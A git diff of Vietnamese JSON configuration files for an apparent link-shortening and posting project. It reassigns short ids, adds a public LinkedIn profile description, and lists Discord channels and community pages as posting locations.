"truyen-ngu-ngon-ve-nguoi-nhat", "Ngày tạo": "2023-03-26T06:13:48.000Z", "Ngày cập nhật": "2023-03-26T06:17:32.000Z", - "id": "iT" + "id": "mK" }, { "Tiêu đề": "Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền", @@ -45401,7 +49056,7 @@ "Slug": "tu-viec-ho-tro-kendy-den-patreon-va-tam-ly-cua-con-nguoi-ve-tien", "Ngày tạo": "2023-06-07T17:05:05.000Z", "Ngày cập nhật": "2023-06-07T17:27:16.000Z", - "id": "iU" + "id": "mL" }, { "Tiêu đề": "Câu hỏi thường gặp về mô hình tổ chức chim sáo", @@ -45414,7 +49069,7 @@ "Slug": "cau-hoi-thuong-gap-ve-mo-hinh-to-chuc-chim-sao", "Ngày tạo": "2023-06-14T18:37:29.000Z", "Ngày cập nhật": "2023-06-20T10:01:32.000Z", - "id": "iV" + "id": "mM" }, { "Tiêu đề": "Phiếu khảo sát sau buổi nói chuyện \"Một đám mây chim sáo\"", @@ -45427,7 +49082,7 @@ "Slug": "phieu-khao-sat-sau-buoi-noi-chuyen-mot-dam-may-chim-sao", "Ngày tạo": "2023-06-20T10:36:49.000Z", "Ngày cập nhật": "2023-06-20T10:37:00.000Z", - "id": "iW" + "id": "mN" }, { "Tiêu đề": "Từ cách một từ được đổ nghĩa đến việc dịch khái niệm philanthropy sang tiếng Việt", @@ -45440,7 +49095,7 @@ "Slug": "tu-cach-mot-tu-duoc-do-nghia-den-viec-dich-khai-niem-philanthropy-sang-tieng-viet", "Ngày tạo": "2023-06-23T08:20:06.000Z", "Ngày cập nhật": "2023-06-23T13:33:54.000Z", - "id": "iX" + "id": "mO" }, { "Tiêu đề": "Các buổi chia sẻ kỹ năng miễn phí với nhau", @@ -45453,7 +49108,7 @@ "Slug": "cac-buoi-chia-se-ky-nang-mien-phi-voi-nhau", "Ngày tạo": "2023-06-27T10:22:15.000Z", "Ngày cập nhật": "2023-06-27T15:02:32.000Z", - "id": "iY" + "id": "mP" }, { "Tiêu đề": "Bộ cài đặt Vùng đất Quả Cầu", @@ -45466,7 +49121,7 @@ "Slug": "bo-cai-dat-vung-dat-qua-cau", "Ngày tạo": "2023-07-03T14:17:25.000Z", "Ngày cập nhật": "2023-07-03T14:20:01.000Z", - "id": "iZ" + "id": "mQ" }, { "Tiêu đề": "Khảo sát nhu cầu phân loại tự động và lập trình", @@ -45479,7 +49134,7 @@ "Slug": "khao-sat-nhu-cau-phan-loai-tu-dong-va-lap-trinh", "Ngày tạo": "2023-11-08T12:39:34.000Z", "Ngày cập nhật": "2023-11-08T14:17:42.000Z", - "id": "ia" + "id": "mR" }, { "Tiêu đề": "Bàn làm việc Google Calendar", @@ -45492,7 +49147,7 @@ "Slug": "ban-lam-viec-google-calendar", "Ngày tạo": "2023-12-29T08:40:45.000Z", "Ngày cập nhật": "2023-12-31T05:59:13.000Z", - "id": "ib" + "id": "mS" }, { "Tiêu đề": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", @@ -45505,7 +49160,7 @@ "Slug": "cac-buoi-dap-ung-nhu-cau-hoc-cach-su-dung-cong-cu-va-tu-duy-lap-trinh-cho-nhu-cau-ca-nhan-hoac-nghien-cuu", "Ngày tạo": "2023-12-29T14:15:32.000Z", "Ngày cập nhật": "2024-03-02T16:10:36.000Z", - "id": "ic" + "id": "mT" }, { "Tiêu đề": "Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?", @@ -45518,7 +49173,7 @@ "Slug": "khi-nao-thi-chien-luoc-dinh-gia-tra-tuy-tam-dat-duoc-su-ben-vung", "Ngày tạo": "2023-12-31T05:47:50.000Z", "Ngày cập nhật": "2023-12-31T12:11:55.000Z", - "id": "id" + "id": "mU" }, { "Tiêu đề": "Tích hợp Trấn Kỳ vào hệ thống của bạn", @@ -45531,7 +49186,7 @@ "Slug": "tich-hop-tran-ky-vao-he-thong-cua-ban", "Ngày tạo": "2024-02-02T10:25:32.000Z", "Ngày cập nhật": "2024-02-19T19:31:57.000Z", - "id": "ie" + "id": "mV" }, { "Tiêu đề": "Kiếm tiền từ Trấn Kỳ", @@ -45544,7 +49199,7 @@ "Slug": "kiem-tien-tu-tran-ky", "Ngày tạo": "2024-02-14T10:41:22.000Z", "Ngày cập nhật": "2024-02-14T10:41:33.000Z", - "id": "if" + "id": "mW" }, { "Tiêu đề": "tesst", @@ -45557,7 +49212,7 @@ "Slug": "tesst", "Ngày tạo": "2024-02-25T13:28:40.000Z", "Ngày cập nhật": "2024-02-25T13:28:40.000Z", - "id": "ig" + "id": "mX" }, { "Tiêu đề": "Khảo sát nhu cầu học lập trình", @@ -45570,7 +49225,7 @@ "Slug": "khao-sat-nhu-cau-hoc-lap-trinh", "Ngày tạo": "2024-02-25T15:18:17.000Z", "Ngày cập nhật": "2024-02-25T16:14:27.000Z", - "id": "ih" + "id": "mY" }, { "Tiêu đề": "Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?", @@ -45583,7 +49238,7 @@ "Slug": "nguoi-dung-ca-nhan-hoac-du-an-nho-co-nen-dung-wordpress-hay-khong", "Ngày tạo": "2024-07-16T15:18:17.000Z", "Ngày cập nhật": "2024-07-16T16:14:27.000Z", - "id": "ii" + "id": "mZ" }, { "Tiêu đề": "Làm sao để tìm được thứ ta cần khi ta không biết từ khoá chính xác của nó?", @@ -45596,7 +49251,7 @@ "Slug": "lam-sao-de-tim-duoc-thu-ta-can-khi-ta-khong-biet-tu-khoa-chinh-xac-cua-no", "Ngày tạo": "2024-08-02T09:15:17.000Z", "Ngày cập nhật": "2024-08-02T09:15:17.000Z", - "id": "ij" + "id": "ma" }, { "Tiêu đề": "Trang chủ Dạy Nhau Học", @@ -45606,7 +49261,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "ik" + "id": "mb" }, { "Tiêu đề": "Liên kết mời tham gia Discord DayNhauHoc", @@ -45614,7 +49269,7 @@ "Nội dung bài đăng": {}, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "il" + "id": "mc" }, { "Tiêu đề": "Liên kết mời tham gia Discord Symato: Mô hình ngôn ngữ của người Việt: ngon như Phở, bình dân như Cơm RaNNg", @@ -45622,7 +49277,7 @@ "Nội dung bài đăng": {}, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "im" + "id": "md" }, { "Tiêu đề": "Liên kết mời tham gia Discord Lume", @@ -45630,7 +49285,7 @@ "Nội dung bài đăng": {}, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "in" + "id": "me" }, { "Tiêu đề": "", @@ -45638,15 +49293,17 @@ "Nội dung bài đăng": {}, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "io" + "id": "mf" }, { - "Tiêu đề": "", - "URL": "https://www.linkedin.com/in/nh%E1%BA%ADt-l%C3%BD/", - "Nội dung bài đăng": {}, + "Tiêu đề": "Minh Nhật Lý - Sáng lập - Quả Cầu | LinkedIn", + "URL": "https://vn.linkedin.com/in/nh%E1%BA%ADt-l%C3%BD", + "Nội dung bài đăng": { + "Mô tả bài đăng": "Obsidian, quản lý dự án và công cụ nghĩ · 🔵Tự nghiên cứu<br>• Triết học: Đạo luận, Phật luận, triết học Deleuze, mỹ học, hậu hiện đại, lãng mạn luận, triết học trong toán học<br>• Khoa học nhận thức: tâm lý học nhận thức, cảm xúc, nhận thức luận, ẩn dụ<br>• Ngôn ngữ học: ngôn ngữ học tri nhận, ngữ nghĩa học, thi pháp học, âm vị học, cú pháp học<br>• Toán và khoa học cứng: động học niềm tin, hình học xạ ảnh, nhóm và biểu diễn, hệ vận động và phức hợp, giải tích hàm điều hòa, giải tích phức, lịch sử toán, lý thuyết thông tin, lý thuyết đồ thị, đồ thị kiến thức, nhận thức tăng cường<br>• Công nghệ thông tin: khoa học dữ liệu, xử lý ngôn ngữ tự nhiên, hệ thống thông tin, kỹ thuật phần mềm<br>• Nghệ thuật: thời trang, lý thuyết văn học<br>• Xã hội dân sự: tâm lý học xã hội, công tác xã hội, phát triển cộng đồng, truyền thông xã hội, tâm lý học trị liệu, bạo hành tinh thần<br>• Lý thuyết đạo đức và chính trị: đồng thuận, năng lực ra quyết định, thao túng, tự chủ, riêng tư, tin tưởng, can thiệp luận, duy hiệu quả luận, nhân quyền, công bằng, nhà nước, pháp quyền, công lý, nữ quyền<br>• Lĩnh vực khác: thiết kế, lý thuyết dịch, giao tiếp học, giao tiếp liên nhân, rhetoric & composition<br>• Y học: viêm da dị ứng, giải phẫu<br><br>🔵Kỹ năng công nghệ thông tin<br>• Ngôn ngữ: TypeScript/JavaScript, Python, AutoHotKey, PHP, C#<br>• API: Google Calendar, Obsidian Dataview, Obsidian Breadcrumbs<br>• Đồ thị: Graphviz, Neo4j, Cypher, vis.js<br>• Web: Fresh (Deno, React), Mkdocs (Python), WordPress (PHP), daisyUI (TailwindCSS)<br>• Công cụ: Git, VS Code, PowerShell, Bash, Docker, GitHub Action, Netlify, CPanel/DirectAdmin, WinSCP, Regex, sed/grep/awk<br>• Android: Tasker<br><br>🔵Khác<br>• Quản lý kiến thức và dự án: Obsidian, OneNote, Google Keep (quản trị viên subreddit r/GoogleKeep), Fibery, Notion, Confluence, Trello, Anki<br>• Tiếp thị số: Google Analytics, Google Tag Manager, Mouseflow, Facebook Business<br>• Thiết kế: GraphViz, vis.js, Illustrator, Paint.NET, Inkscape, Scribus, ImageMagick<br>• Xuất bản: LaTeX, Zotero, Libre Office, jPdfBookmarks, Ghostscript<br>• Sản xuất video: Movavi, Audacity, VLC<br>• Quản lý thời gian: ManicTime, RescueTime<br>• Ngôn ngữ: tiếng Anh (TOELF: 90, GRE: 306), tiếng Trung, tiếng Nhật (sơ cấp)<br>• Sở thích khác: StarCraft, cờ vây, võ thuật · Experience: Quả Cầu · Education: VNUHCM - University of Science · Location: Ho Chi Minh City Metropolitan Area · 50 connections on LinkedIn. View Minh Nhật Lý’s profile on LinkedIn, a professional community of 1 billion members." + }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "ip" + "id": "mg" }, { "Tiêu đề": "Trang chủ undefined", @@ -45654,7 +49311,7 @@ "Nội dung bài đăng": {}, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "iq" + "id": "mh" }, { "Tiêu đề": "Quả Cầu", @@ -45664,7 +49321,7 @@ }, "Slug": "pagefbQC", "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "ir" + "id": "mi" }, { "Tiêu đề": "Quả Cầu", @@ -45672,15 +49329,17 @@ "Nội dung bài đăng": {}, "Slug": "profilefbQC", "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "is" + "id": "mj" }, { - "Tiêu đề": "", - "URL": "https://www.linkedin.com/in/nh%E1%BA%ADt-l%C3%BD/", - "Nội dung bài đăng": {}, + "Tiêu đề": "Minh Nhật Lý - Sáng lập - Quả Cầu | LinkedIn", + "URL": "https://vn.linkedin.com/in/nh%E1%BA%ADt-l%C3%BD", + "Nội dung bài đăng": { + "Mô tả bài đăng": "Obsidian, quản lý dự án và công cụ nghĩ · 🔵Tự nghiên cứu<br>• Triết học: Đạo luận, Phật luận, triết học Deleuze, mỹ học, hậu hiện đại, lãng mạn luận, triết học trong toán học<br>• Khoa học nhận thức: tâm lý học nhận thức, cảm xúc, nhận thức luận, ẩn dụ<br>• Ngôn ngữ học: ngôn ngữ học tri nhận, ngữ nghĩa học, thi pháp học, âm vị học, cú pháp học<br>• Toán và khoa học cứng: động học niềm tin, hình học xạ ảnh, nhóm và biểu diễn, hệ vận động và phức hợp, giải tích hàm điều hòa, giải tích phức, lịch sử toán, lý thuyết thông tin, lý thuyết đồ thị, đồ thị kiến thức, nhận thức tăng cường<br>• Công nghệ thông tin: khoa học dữ liệu, xử lý ngôn ngữ tự nhiên, hệ thống thông tin, kỹ thuật phần mềm<br>• Nghệ thuật: thời trang, lý thuyết văn học<br>• Xã hội dân sự: tâm lý học xã hội, công tác xã hội, phát triển cộng đồng, truyền thông xã hội, tâm lý học trị liệu, bạo hành tinh thần<br>• Lý thuyết đạo đức và chính trị: đồng thuận, năng lực ra quyết định, thao túng, tự chủ, riêng tư, tin tưởng, can thiệp luận, duy hiệu quả luận, nhân quyền, công bằng, nhà nước, pháp quyền, công lý, nữ quyền<br>• Lĩnh vực khác: thiết kế, lý thuyết dịch, giao tiếp học, giao tiếp liên nhân, rhetoric & composition<br>• Y học: viêm da dị ứng, giải phẫu<br><br>🔵Kỹ năng công nghệ thông tin<br>• Ngôn ngữ: TypeScript/JavaScript, Python, AutoHotKey, PHP, C#<br>• API: Google Calendar, Obsidian Dataview, Obsidian Breadcrumbs<br>• Đồ thị: Graphviz, Neo4j, Cypher, vis.js<br>• Web: Fresh (Deno, React), Mkdocs (Python), WordPress (PHP), daisyUI (TailwindCSS)<br>• Công cụ: Git, VS Code, PowerShell, Bash, Docker, GitHub Action, Netlify, CPanel/DirectAdmin, WinSCP, Regex, sed/grep/awk<br>• Android: Tasker<br><br>🔵Khác<br>• Quản lý kiến thức và dự án: Obsidian, OneNote, Google Keep (quản trị viên subreddit r/GoogleKeep), Fibery, Notion, Confluence, Trello, Anki<br>• Tiếp thị số: Google Analytics, Google Tag Manager, Mouseflow, Facebook Business<br>• Thiết kế: GraphViz, vis.js, Illustrator, Paint.NET, Inkscape, Scribus, ImageMagick<br>• Xuất bản: LaTeX, Zotero, Libre Office, jPdfBookmarks, Ghostscript<br>• Sản xuất video: Movavi, Audacity, VLC<br>• Quản lý thời gian: ManicTime, RescueTime<br>• Ngôn ngữ: tiếng Anh (TOELF: 90, GRE: 306), tiếng Trung, tiếng Nhật (sơ cấp)<br>• Sở thích khác: StarCraft, cờ vây, võ thuật · Experience: Quả Cầu · Education: VNUHCM - University of Science · Location: Ho Chi Minh City Metropolitan Area · 50 connections on LinkedIn. View Minh Nhật Lý’s profile on LinkedIn, a professional community of 1 billion members." + }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "it" + "id": "mk" }, { "Tiêu đề": "Quả Cầu", @@ -45690,7 +49349,7 @@ }, "Slug": "youtubeQC", "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "iu" + "id": "ml" }, { "Tiêu đề": "Công nghệ và ký ức. Nhận thức tăng cường", @@ -45700,7 +49359,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "iv" + "id": "mm" }, { "Tiêu đề": "Quả Cầu", @@ -45710,7 +49369,7 @@ }, "Slug": "githubQC", "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "iw" + "id": "mn" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/BW-ton-tai-trong-the-gioi-tu-ban", @@ -45720,7 +49379,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "ix" + "id": "mo" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/CW-doi-thoai", @@ -45730,7 +49389,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "iy" + "id": "mp" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/CW-obsidian-quan-ly-du-an-va-cong-cu-nghi", @@ -45740,7 +49399,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "iz" + "id": "mq" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/CW-tiep-thi-so-xu-ly-du-lieu-va-lap-trinh", @@ -45750,7 +49409,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "i-" + "id": "mr" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/CV-tiep-thi-so-xu-ly-du-lieu-va-lap-trinh", @@ -45760,7 +49419,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "i_" + "id": "ms" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/CV-obsidian-quan-ly-du-an-va-cong-cu-nghi: Vault hướng dẫn ứng dụng Obsidian và Git vào việc quản lý dự án và kết nối nguồn lực cộng đồng dành riêng cho người Việt", @@ -45770,7 +49429,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "j0" + "id": "mt" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/DW-phat-trien-ban-than", @@ -45780,7 +49439,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "j1" + "id": "mu" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/DV-phat-trien-ban-than", @@ -45790,7 +49449,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "j2" + "id": "mv" }, { "Tiêu đề": "Build software better, together", @@ -45800,7 +49459,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "j3" + "id": "mw" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/EW-heavyT", @@ -45810,7 +49469,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "j4" + "id": "mx" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/FV-khoa-hoc-xa-hoi", @@ -45820,7 +49479,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "j5" + "id": "my" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/GW-vat-ly-an-du-trong-triet-hoc", @@ -45830,7 +49489,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "j6" + "id": "mz" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/LandofSpheres: Vault Obsidian chứa mọi dữ liệu hoạt động của Quả Cầu", @@ -45840,7 +49499,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "j7" + "id": "m-" }, { "Tiêu đề": "Build software better, together", @@ -45850,7 +49509,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "j8" + "id": "m_" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/meetup-ticketbox-to-google-calendar", @@ -45860,7 +49519,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "j9" + "id": "n0" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/belief-network", @@ -45870,7 +49529,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jA" + "id": "n1" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/NeedExchange", @@ -45880,7 +49539,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jB" + "id": "n2" }, { "Tiêu đề": "Trang chủ Một hệ thống niềm tin", @@ -45888,7 +49547,7 @@ "Nội dung bài đăng": {}, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jC" + "id": "n3" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/quacau-thesphere.github.io", @@ -45898,7 +49557,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jD" + "id": "n4" }, { "Tiêu đề": "QuaCau-TheSphere/ONB", @@ -45908,7 +49567,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jE" + "id": "n5" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/Buoc-Chan", @@ -45918,7 +49577,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jF" + "id": "n6" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/LOS-Installer: Bộ cài đặt các phần mềm cần thiết cho LOS", @@ -45928,7 +49587,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jG" + "id": "n7" }, { "Tiêu đề": "Build software better, together", @@ -45938,7 +49597,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jH" + "id": "n8" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/Graphvidian: Obsidian plugin to export Graphviz graphs from vault's notes", @@ -45948,7 +49607,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jI" + "id": "n9" }, { "Tiêu đề": "GitHub - QuaCau-TheSphere/Presentation", @@ -45958,7 +49617,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jJ" + "id": "nA" }, { "Tiêu đề": "Liên kết mời tham gia Discord Quả Cầu", @@ -45966,7 +49625,7 @@ "Nội dung bài đăng": {}, "Slug": "discordQC", "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jK" + "id": "nB" }, { "Tiêu đề": "Trang chủ Quả Cầu", @@ -45976,7 +49635,7 @@ }, "Slug": "trangchủQC", "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jL" + "id": "nC" }, { "Tiêu đề": "Trang chủ Tồn tại trong thế giới tư bản", @@ -45986,7 +49645,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jM" + "id": "nD" }, { "Tiêu đề": "Trang chủ Obsidian, quản lý dự án và công cụ nghĩ", @@ -45996,7 +49655,7 @@ }, "Slug": "obsidianQC", "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jN" + "id": "nE" }, { "Tiêu đề": "Trang chủ Tiếp thị số, xử lý dữ liệu và lập trình", @@ -46006,7 +49665,7 @@ }, "Slug": "lậptrìnhQC", "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jO" + "id": "nF" }, { "Tiêu đề": "Trang chủ ", @@ -46016,7 +49675,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jP" + "id": "nG" }, { "Tiêu đề": "Trang chủ Phát triển bản thân và kỹ năng sống", @@ -46026,7 +49685,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jQ" + "id": "nH" }, { "Tiêu đề": "Trang chủ Vật lý và ẩn dụ", @@ -46036,7 +49695,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jR" + "id": "nI" }, { "Tiêu đề": "Trang chủ đối ⊷ thoại | Rút gọn liên kết dành cho người Việt", @@ -46046,7 +49705,7 @@ }, "Slug": "webđốithoại", "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jS" + "id": "nJ" }, { "Tiêu đề": "Giới thiệu đối ⊷ thoại", @@ -46057,7 +49716,7 @@ "Tên dự án": "đối ⊷ thoại" }, "Tác giả": "Lý Minh Nhật", - "id": "jT" + "id": "nK" }, { "Tiêu đề": "Chia sẻ kho kiến thức, tài nguyên đến với mọi người", @@ -46068,7 +49727,7 @@ "Tên dự án": "đối ⊷ thoại" }, "Tác giả": "Lý Minh Nhật", - "id": "jU" + "id": "nL" }, { "Tiêu đề": "Hiện diện trên nhiều nền tảng", @@ -46079,7 +49738,7 @@ "Tên dự án": "đối ⊷ thoại" }, "Tác giả": "Lý Minh Nhật", - "id": "jV" + "id": "nM" }, { "Tiêu đề": "Trang chủ Trấn Kỳ", @@ -46089,7 +49748,7 @@ }, "Slug": "webtrấnkỳ", "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jW" + "id": "nN" }, { "Tiêu đề": "Bui Quang Tinh Tu", @@ -46099,7 +49758,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jX" + "id": "nO" }, { "Tiêu đề": "UAN Marketing", @@ -46109,7 +49768,7 @@ }, "Slug": "NhómUAN", "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jY" + "id": "nP" }, { "Tiêu đề": "DigiFin - Cộng Đồng Tài Chính Doanh Nghiệp", @@ -46119,7 +49778,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jZ" + "id": "nQ" }, { "Tiêu đề": "EDU★INFLUENCE - Cộng Đồng Cải Tiến Giáo Dục", @@ -46129,7 +49788,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "ja" + "id": "nR" }, { "Tiêu đề": "Người Hướng Nội Hiện Đại", @@ -46139,7 +49798,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jb" + "id": "nS" }, { "Tiêu đề": "Mẹ Đơn Thân Vui Vẻ", @@ -46149,7 +49808,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jc" + "id": "nT" }, { "Tiêu đề": "Edu Influence", @@ -46159,7 +49818,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jd" + "id": "nU" }, { "Tiêu đề": "UAN Marketing", @@ -46169,7 +49828,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "je" + "id": "nV" }, { "Tiêu đề": "DigiFin", @@ -46179,17 +49838,17 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jf" + "id": "nW" }, { "Tiêu đề": "The Modern Introvert - Người Hướng Nội Hiện Đại", "URL": "https://www.facebook.com/huongnoihiendai", "Nội dung bài đăng": { - "Mô tả bài đăng": "Blog Magazine về chủ đề người hướng nội (Introvert) – Nơi giúp ta hiểu hướng nội là gì, nơi introvert kết nối và chia sẻ câu chuyện..." + "Mô tả bài đăng": "Blog Magazine về chủ đề người hướng nội (Introvert) – Nơi giúp ta hiểu hướng nội là gì, nơi introvert..." }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jg" + "id": "nX" }, { "Tiêu đề": "UAN Marketing", @@ -46199,7 +49858,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jh" + "id": "nY" }, { "Tiêu đề": "UAN Marketing Podcast", @@ -46209,7 +49868,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "ji" + "id": "nZ" }, { "Tiêu đề": "Tú Bùi (っ◔◡◔)っ Community in UAN Marketing", @@ -46219,7 +49878,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jj" + "id": "na" }, { "Tiêu đề": "UAN Marketing", @@ -46229,7 +49888,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jk" + "id": "nb" }, { "Tiêu đề": "Zalo - Common Good Alliance", @@ -46239,7 +49898,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jl" + "id": "nc" }, { "Tiêu đề": "", @@ -46247,7 +49906,7 @@ "Nội dung bài đăng": {}, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jm" + "id": "nd" }, { "Tiêu đề": "Trang chủ Liên Minh Ủng Hộ Lợi Ích Chung Cho Xã Hội", @@ -46257,7 +49916,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jn" + "id": "ne" }, { "Tiêu đề": "Trang chủ Conversion.vn", @@ -46267,7 +49926,7 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jo" + "id": "nf" }, { "Tiêu đề": "Community Registration Form", @@ -46277,6 +49936,6 @@ }, "Slug": null, "Phương thức tạo": "Lấy trong cấu hình nơi đăng", - "id": "jp" + "id": "ng" } ] \ No newline at end of file diff --git "a/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/Danh s\303\241ch n\306\241i \304\221\304\203ng t\341\272\241o tr\303\252n local.json" "b/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/Danh s\303\241ch n\306\241i \304\221\304\203ng t\341\272\241o tr\303\252n local.json" index e06a2d1..e14e3fb 100644 --- "a/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/Danh s\303\241ch n\306\241i \304\221\304\203ng t\341\272\241o tr\303\252n local.json" +++ "b/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/Danh s\303\241ch n\306\241i \304\221\304\203ng t\341\272\241o tr\303\252n local.json" @@ -7029,6 +7029,366 @@ "Slug": "lmn", "id": "2S" }, + { + "Tên nơi đăng": [ + "0", + "C" + ], + "Loại nơi đăng": [ + "Máy chủ", + "Kênh thường" + ], + "Tên nền tảng": "Discord", + "Loại nền tảng": "Chat", + "Phương thức tạo": "Lấy trong cấu hình nơi đăng", + "Vị trí có thể đăng": [ + [ + "Tin nhắn", + "Nội dung chính" + ], + [ + "Tin nhắn", + "QR trong ảnh" + ], + [ + "Tin nhắn", + "Chữ trong ảnh" + ], + [ + "Chủ đề kênh" + ], + [ + "Tin nhắn ghim", + "Nội dung chính" + ], + [ + "Tin nhắn ghim", + "QR trong ảnh" + ], + [ + "Tin nhắn ghim", + "Chữ trong ảnh" + ] + ], + "Đơn vị quản lý": "Bạn bè Quả Cầu", + "Slug": null, + "id": "2T" + }, + { + "Tên nơi đăng": [ + "1", + "l" + ], + "Loại nơi đăng": [ + "Máy chủ", + "Kênh thường" + ], + "Tên nền tảng": "Discord", + "Loại nền tảng": "Chat", + "Phương thức tạo": "Lấy trong cấu hình nơi đăng", + "Vị trí có thể đăng": [ + [ + 